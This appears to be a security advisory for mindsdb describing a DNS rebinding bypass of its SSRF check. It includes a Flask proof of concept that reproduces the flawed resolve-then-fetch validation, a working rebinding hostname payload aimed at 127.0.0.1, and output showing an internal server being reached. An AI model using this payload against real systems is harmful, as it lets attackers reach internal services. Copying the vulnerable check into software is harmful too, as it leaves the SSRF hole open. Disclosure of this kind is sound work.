First published: Thu Sep 05 2024(Updated: )
### Summary DNS rebinding is a method of manipulating resolution of domain names to let the initial DNS query hits an address and the second hits another one. For instance the host `make-190.119.176.200-rebind-127.0.0.1-rr.1u.ms` would be initially resolved to `190.119.176.200` and the next DNS issue to `127.0.0.1`. Please notice the following in the latest codebase: ```python def is_private_url(url: str): """ Raises exception if url is private :param url: url to check """ hostname = urlparse(url).hostname if not hostname: # Unable to find hostname in url return True ip = socket.gethostbyname(hostname) return ipaddress.ip_address(ip).is_private ``` As you can see, during the call to `is_private_url()` the initial DNS query would be issued by `ip = socket.gethostbyname(hostname)` to an IP (public one) and then due to DNS Rebinding, the next GET request would goes to the private one. ### PoC ```python from flask import Flask, request, jsonify from urllib.parse import urlparse import socket import ipaddress import requests app = Flask(__name__) def is_private_url(url: str): """ Raises exception if url is private :param url: url to check """ hostname = urlparse(url).hostname if not hostname: # Unable to find hostname in url return True ip = socket.gethostbyname(hostname) if ipaddress.ip_address(ip).is_private: raise Exception(f"Private IP address found for {url}") @app.route("/", methods=["GET"]) def index(): return "http://127.0.0.1:5000/check_private_url?url=https://www.google.Fr" @app.route("/check_private_url", methods=["GET"]) def check_private_url(): url = request.args.get("url") if not url: return jsonify({"error": 'Missing "url" parameter'}), 400 try: is_private_url(url) response = requests.get(url) return jsonify( { "url": url, "is_private": False, "text": response.text, "status_code": response.status_code, } ) except Exception as e: return jsonify({"url": url, "is_private": True, "error": str(e)}) if __name__ == "__main__": app.run(debug=True) ``` After running the poc.py with flask installed, consider visiting the following URLs: 1. http://127.0.0.1:5000/check_private_url?url=https://www.example.com since it is in the public space, you would get `is_private: false` and the GET request would be issued to the www.Example.com website. 3. http://127.0.0.1:5000/check_private_url?url=http://localhost:8667, this one the address is private, you would get `is_private: true` 4. http://127.0.0.1:5000/check_private_url?url=http://make-190.119.176.214-rebind-127.0.0.1-rr.1u.ms:8667/ But this one, it initially returns the public IP `190.119.176.214` and then DNS rebind into the network location `127.0.0.1:8667`. I set up a simple HTTP server at `127.0.0.1:8667`, you can notice the results of the PoC in the next screenshot: ``` { "is_private": false, "status_code": 200, "text": "<pre>\n<a href=\"poc.py\">poc.py</a>\n</pre>\n", "url": "http://make-190.119.176.214-rebind-127.0.0.1-rr.1u.ms:8667/" } ``` ### Impact - Bypass the SSRF protection on the whole website with DNS Rebinding. - DoS too.
Affected Software | Affected Version | How to fix |
---|---|---|
pip/mindsdb | <23.12.4.2 | 23.12.4.2 |
Sign up to SecAlerts for real-time vulnerability data matched to your software, aggregated from hundreds of sources.